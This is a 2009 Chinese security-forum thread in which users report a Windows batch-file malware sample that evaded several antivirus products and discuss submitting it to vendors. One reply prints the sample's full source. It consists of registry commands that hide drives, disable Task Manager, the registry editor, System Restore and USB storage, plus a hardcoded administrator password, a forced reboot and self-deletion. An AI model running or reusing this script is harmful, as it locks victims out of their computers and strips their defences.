病毒！1个！！过卡巴，红伞，瑞星…………

darreol

.

居然运行了，桌面图标完全消失，所有本地磁盘被隐藏并禁止防问,禁用鼠标右键，禁用U盘连接,禁用任务管理器，禁用开始菜单中的"运行"，禁用开始菜单中的"关机”和“注销"，禁用注册表,禁用组策略！！！而且是软件图标伪装成文件夹图标！！！无语了，上报金山了！！ 晕死了0628097018

[ 本帖最后由 darreol 于 2009-6-29 12:14 编辑 ]

darreol

顺便说说那个大好人知道怎么弄，帮修修

主动防御

用金山你居然敢运行 金山没主防啊

主动防御

panda无视之................已上报panda云安全

[ 本帖最后由 主动防御 于 2009-6-27 16:10 编辑 ]

悠柚

红伞 avk miss

tun

生一个bat运行，这人一定太闲而且有病
其实找正常Windows拷贝部分注册表回来就好 …比较麻烦的是注册表编辑器被禁用。COMODO杀。

414447992

卡巴过了。只能上报啦

sam.to

to kl

runyon

既然各位用卡巴的大大报了，我就不报了，晚了一步

xyao

TF+微点

@shift
@echo off
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor" /v Start /t reg_dword /d 4 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4294967295 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
@REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 00000001 /f

@echo off
@echo Windows Registry Editor Version 5.00 >>1.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >>1.reg
@echo "Window Title"="由墨城暴笑工作室提供" >>1.reg
@regedit /s 1.reg
@del /q /a /s /f 1.reg   
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 00000001 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000002 /f
@REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f

@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
@echo off
net localgroup administrators /add
net user administrator 123888 /add
@echo off
shutdown -r -t 180 -c 电脑正在被全面封锁…………封锁完毕，3分钟后，电脑将自动重启，重启后，你将不能正常使用你的电脑，请你重装系统，祝你好运！(墨城暴笑工作室制作。QQ：319992178)

@echo off
start gpupdate /force
@echo off
taskkill /f /im explorer.exe >nul
ping -n 1 127.0.1>nul
start "" "explorer.exe"
@echo off
@del %0